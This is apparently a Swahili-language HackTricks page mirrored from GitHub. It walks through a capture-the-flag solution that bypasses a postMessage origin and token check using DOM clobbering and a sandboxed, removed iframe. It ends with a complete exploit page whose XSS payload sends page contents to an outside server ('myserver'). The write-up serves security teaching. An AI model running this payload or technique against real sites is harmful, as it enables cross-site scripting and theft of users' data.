mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
6.5 KiB
6.5 KiB
Kuvuka SOP na Iframes - 2
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Pata swag rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuatilie kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.
Iframes katika SOP-2
Katika ufumbuzi kwa hii changamoto, @Strellic_ anapendekeza njia sawa na sehemu iliyotangulia. Hebu tuangalie.
Katika changamoto hii, mshambuliaji anahitaji kuvuka hii:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Ikiwa atafanya hivyo, anaweza kutuma postmessage na maudhui ya HTML ambayo yataandikwa kwenye ukurasa na innerHTML
bila kusafishwa (XSS).
Njia ya kuzunguka uchunguzi wa kwanza ni kwa kufanya window.calc.contentWindow
kuwa undefined
na e.source
kuwa null
:
window.calc.contentWindow
ni kimsingidocument.getElementById("calc")
. Unaweza kuchafuadocument.getElementById
na<img name=getElementById />
(kumbuka kuwa API ya Sanitizer -hapa- haijasanidiwa kulinda dhidi ya mashambulizi ya kuchafua DOM katika hali yake ya msingi).- Kwa hivyo, unaweza kuchafua
document.getElementById("calc")
na<img name=getElementById /><div id=calc></div>
. Kisha,window.calc
itakuwaundefined
. - Sasa, tunahitaji
e.source
iweundefined
aunull
(kwa sababu==
hutumiwa badala ya===
,null == undefined
niTrue
). Kupata hii ni "rahisi". Ikiwa unajenga iframe na kutuma postMessage kutoka kwake na mara moja iondoe iframe,e.origin
itakuwanull
. Angalia nambari ifuatayo
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
Ili kudukua uchunguzi wa pili kuhusu ishara, tuma token
na thamani ya null
na ufanye thamani ya window.token
kuwa undefined
:
- Kutuma
token
katika postMessage na thamani yanull
ni rahisi. window.token
inaita kazigetCookie
ambayo hutumiadocument.cookie
. Tafadhali kumbuka kuwa ufikiaji wowote wadocument.cookie
katika kurasa za asili zanull
husababisha kosa. Hii itafanyawindow.token
kuwa na thamani yaundefined
.
Suluhisho la mwisho na @terjanq ni ifuatayo:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Pata bidhaa rasmi za PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuatilie kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.